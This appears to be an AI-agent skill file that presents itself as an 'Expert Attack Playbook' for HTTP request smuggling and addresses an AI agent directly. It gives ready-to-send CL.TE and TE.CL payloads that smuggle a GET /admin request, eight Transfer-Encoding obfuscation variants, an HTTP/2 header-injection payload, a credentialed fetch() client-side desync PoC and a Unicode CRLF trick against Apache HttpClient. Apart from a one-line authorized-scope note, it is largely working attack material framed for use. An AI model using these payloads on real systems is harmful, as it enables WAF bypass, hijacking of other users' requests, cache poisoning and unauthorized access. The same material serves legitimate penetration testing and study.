Imported from SecurityTalent/bugskill-ai (Awesome-Claude-Code-Agent-Skills/02-Web-Application-Security/request-smuggling/SKILL.md). Install upstream with npx skills add SecurityTalent/bugskill-ai --skill request-smuggling. Copyright stays with the author.

SKILL: HTTP Request Smuggling — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert HTTP desync techniques. Covers CL.TE, TE.CL, TE.TE obfuscation variants, HTTP/2 downgrade and pseudo-header confusion, client-side desync (browser fetch pipelines), and tool-assisted fuzzing. Assumes familiarity with raw HTTP/1.1 framing and reverse-proxy topologies. This is not “header injection” — it is message boundary disagreement between hops.

Routing note: load this skill when you suspect CDN/reverse-proxy and origin disagree on request-end boundaries, or when abnormal concatenation appears during H2-to-H1 downgrade.

0. RELATED ROUTING

• ghost-bits-cast-attack when the HTTP client library is Apache HttpClient <= 4.5.9 (HTTPCLIENT-1974/1978) — injecting 瘍瘊 (U+760D U+760A, low bytes \r\n) into a header value causes the underlying char-to-byte writer to emit a literal CRLF, splitting the request at the origin without relying on CL/TE disagreement

1. QUICK START

CL.TE first probe (front-end trusts CL, back-end trusts chunked)

Assumption: front end prioritizes Content-Length, back end prioritizes Transfer-Encoding: chunked. Use a very short CL so the front end accepts a fake end, while the back end continues chunk parsing and leaves remaining bytes for the next request.

POST / HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED

• Front end reads only 13 bytes based on Content-Length: 13 (that is, 0\r\n\r\nSMUGGLED, 13 bytes total) and considers the request complete.
• Back end parses as chunked: after the 0 end chunk, it treats SMUGGLED and onward as the start byte stream of the next request.

TE.CL first probe (front-end trusts chunked, back-end trusts CL)

Assumption: front end parses chunked and back end only reads Content-Length. Set CL equal to the number of bytes in the chunk-length line (commonly 4: two hex characters + \r\n), so the back end consumes only the length line and leaves the rest buffered for follow-up request splicing.

Embed a second request in the chunk (all line endings are CRLF; 35 hex chunk length = 53 bytes):

POST / HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked

35
GET /admin HTTP/1.1
Host: target.example
Foo: x

0

On the wire, the chunk body must be exactly 53 bytes; if you change path/headers, recalculate chunk length and update the hex length line accordingly.

Safety note

Test only within authorized scope; concurrent smuggling can poison connection pools, corrupt caches, or impact other tenants. Prefer isolated environments or low-traffic windows.

1. CORE CONCEPT

Definition: two (or more) HTTP processing entities disagree on where request one ends and request two begins in the same TCP/TLS stream, allowing an attacker to include a partial or full second request inside one logical request.

  Client          Front (proxy/WAF)              Back (origin)
     |                     |                            |
     |==== Request A+B ===>|                            |
     |                     | parses boundary #1         | parses boundary #2
     |                     |         \                  |         /
     |                     |          different split points
     |                     |                            |
     v                     v                            v
                   Request A (seen)              Request A' + smuggled B

Difference from CRLF injection: CRLF usually injects into responses or header lines; smuggling targets implementation differences in RFC 7230 message framing (Content-Length / chunked).

High-value impact: WAF rule bypass (smuggled body not visible in front-end request), hijacking other users' requests on shared-origin connections (queue poisoning), cache-poisoning assistance, and authentication-boundary confusion.

2. CL.TE VULNERABILITIES

Pattern: front end trusts Content-Length; back end trusts Transfer-Encoding: chunked.

Exact example (same as §0): Content-Length: 13 and Transfer-Encoding: chunked both exist, body is:

0\r\n\r\nSMUGGLED

Byte count: 0 + \r\n + \r\n + SMUGGLED = 13.

Back-end perspective: the chunked stream ends at 0\r\n\r\n; if SMUGGLED starts with METHOD SP or another valid request prefix, it becomes a smuggled request-line prefix.

Tuning: if the target is sensitive to duplicate headers, casing, or spaces, minimally adjust Transfer-Encoding variants (see §4) while preserving semantics to match a combo where front end ignores TE and back end executes TE.

3. TE.CL VULNERABILITIES

Pattern: front end parses chunked; back end only reads Content-Length (or too-short CL).

Intent: front end treats the whole malicious byte stream as body; back end reads only CL length, leaving remaining bytes buffered to splice with later legitimate requests.

Full TE.CL with embedded second request (same family as §0; Content-Length: 4 + first chunk-length line 35\r\n):

POST / HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked

35
GET /admin HTTP/1.1
Host: target.example
Foo: x

0

Explanation:

• Back end (CL): reads only 4 bytes from the message body start -> 3 5 \r \n, marks body complete, and leaves the remaining bytes in the TCP read buffer.
• Front end (TE): parses full stream as chunked and forwards/consumes GET /admin... as body content of the already-closed first request (product-dependent); mismatch with back-end boundary interpretation forms TE.CL.

For longer smuggling (e.g., POST + Content-Length: 11 + x=1), chunk length is about 76 (hex 0x76 = 118 bytes); Content-Length: 4 can still pin the back end to reading only the length line.

Practical notes: chunk length must be valid hex; second request must meet target expectations for Host, path, and session cookie; timing window and connection-reuse strategy determine whether you hit another user's request.

4. TE.TE VULNERABILITIES

Pattern: both front and back claim to process Transfer-Encoding, but differ on which TE value is effective or valid -> still producing equivalent desync where one side sees chunked and the other does not.

Use the following 8 obfuscation variants to probe parser differentials (single-line display; \t means a real TAB):

Transfer-Encoding: xchunked

Transfer-Encoding : chunked

Transfer-Encoding: chunked
Transfer-Encoding: chunked

Transfer-Encoding: x

Transfer-Encoding:[TAB]chunked

(Replace [TAB] with real \x09.)

 Transfer-Encoding: chunked

(One leading space at line start.)

X: X
Transfer-Encoding: chunked

(Previous line value is X and next line starts with Transfer-Encoding: this uses line continuation / lenient header parsing so one hop may merge or split lines incorrectly; separator between X and Transfer-Encoding may be \n or \r\n depending on the target stack.)

Transfer-Encoding
: chunked

(Field name and colon are on different physical lines; some parsers still treat it as valid Transfer-Encoding: chunked.)

Strategy: for each (front, back) pair, enumerate which side accepts each variant as chunked, then map to equivalent CL.TE or TE.CL using §2/§3.

5. HTTP/2 REQUEST SMUGGLING

H2 -> H1 Downgrade

Common scenario: edge supports HTTP/2 and origin uses HTTP/1.1. If implementation does not strictly normalize header fields and body boundaries, you may observe:

• incorrect pseudo-header to regular-header mapping order;
• forbidden headers (such as some Connection combinations) forwarded incorrectly;
• duplicate-header merge rules inconsistent with the origin.

Pseudo-header / header-injection smuggling (concept payload)

Attack surface comes from downstream H1 parsers treating certain bytes as the start of a new request. A common research/CTF approach is to place near-request bytes inside header values that one layer ignores but another treats literally:

header ignored\r\n\r\nGET / HTTP/1.1\r\nHost: target

Meaning: if one hop keeps the full string in a header value and the next hop mis-splits during H1 reconstruction, parsing may start a new GET / HTTP/1.1 at \r\n\r\n.

Testing directions:

• duplicate and case handling for Transfer-Encoding / Content-Length in H2 (H2 requires lowercase, but translation layers can fail);
• downgrade behavior when :method or :path includes abnormal characters;
• interactions between tunneling or extended CONNECT and smuggling.

6. CLIENT-SIDE DESYNC

Scenario: browser request-body handling differs from middleware/origin, or no-cors + preflight exemptions permit atypical messages that create queue effects similar to classic CL.TE/TE.CL (architecture-dependent).

HEAD + GET chain: some stacks historically mishandle HEAD response bodies, later pipelining, or connection reuse; validate with concrete browser versions and target proxy behavior.

JavaScript PoC shape (illustrative: set body to raw bytes containing GET, with no-cors and credentials):

fetch("https://target.example/vulnerable", {
  method: "POST",
  mode: "no-cors",
  credentials: "include",
  body: "GET /admin HTTP/1.1\r\nHost: target.example\r\n\r\n"
});

Note: browser security model limits direct readability; success often appears as side effects on other requests over the same connection or as abnormal server logs/behavior, not direct response reading. Evaluate with SOP, CORS, and extension/proxy factors.

7. TOOLS

Usage advice: first passively confirm a front-end + origin two-hop path, then select minimally disruptive probes, and lower concurrency in production.

8. DETECTION DECISION TREE

                        Start: reverse proxy / CDN in path?
                                    |
                    NO -------------+------------- YES
                    |                               |
            Low classic smuggling                    |
            (still test H2 desync)                   v
                                            Can you send TE + CL together?
                                                    |
                              NO -------------------+------------------- YES
                              |                                         |
                      Test H2-only issues                    Front prefers which?
                      (pseudo-header, reset)                            |
                                        +-------------------------------+-------------------------------+
                                        |                               |                               |
                                   CL wins                          TE wins                         errors /
                                        |                               |                          connection
                                        v                               v                               |
                                   CL.TE probes                    TE.CL probes                    TE.TE obfuscation
                                   (Sec 0,2)                       (Sec 0,3)                       (Sec 4)
                                        |                               |                               |
                                        v                               v                               v
                              Time / content /                    Adjust chunk                     Pairwise matrix:
                              queue poisoning                     sizes + CL                      which hop accepts
                              signals?                            alignment                       which variant?
                                        |                               |                               |
                                        +-------------------------------+-------------------------------+
                                                                        |
                                                                        v
                                                              Confirm with second request
                                                              smuggled (replay-safe)
                                                              or Collaborator-style side signal

Advanced Reference

Also load H2_SMUGGLING_VARIANTS.md when you need:

• H2.CL and H2.TE variants with byte-level payload examples
• CL.0 (connection close desync) — technique and detection
• Fat GET request smuggling (body in GET request)
• Request smuggling → cache poisoning chain (response queue misalignment)
• Client-side desync (CSD) via browser Fetch API with JavaScript PoC templates
• CDN/reverse proxy product behavior matrix (HAProxy, Nginx, Apache, Cloudflare, AWS ALB, Envoy, Varnish, etc.)

12. RELATED ROUTING

• Input enters interpreter/query language/template (not HTTP framing) -> Injection Testing Router (then drill down into XSS, SQLi, SSTI, etc.).
• Response header splitting / Location CRLF -> CRLF Injection.
• Cache and path-key confusion -> Web Cache Deception.

Once confirmed as an HTTP message-boundary issue rather than parameter injection, stay in this skill to avoid misrouting into general injection workflows.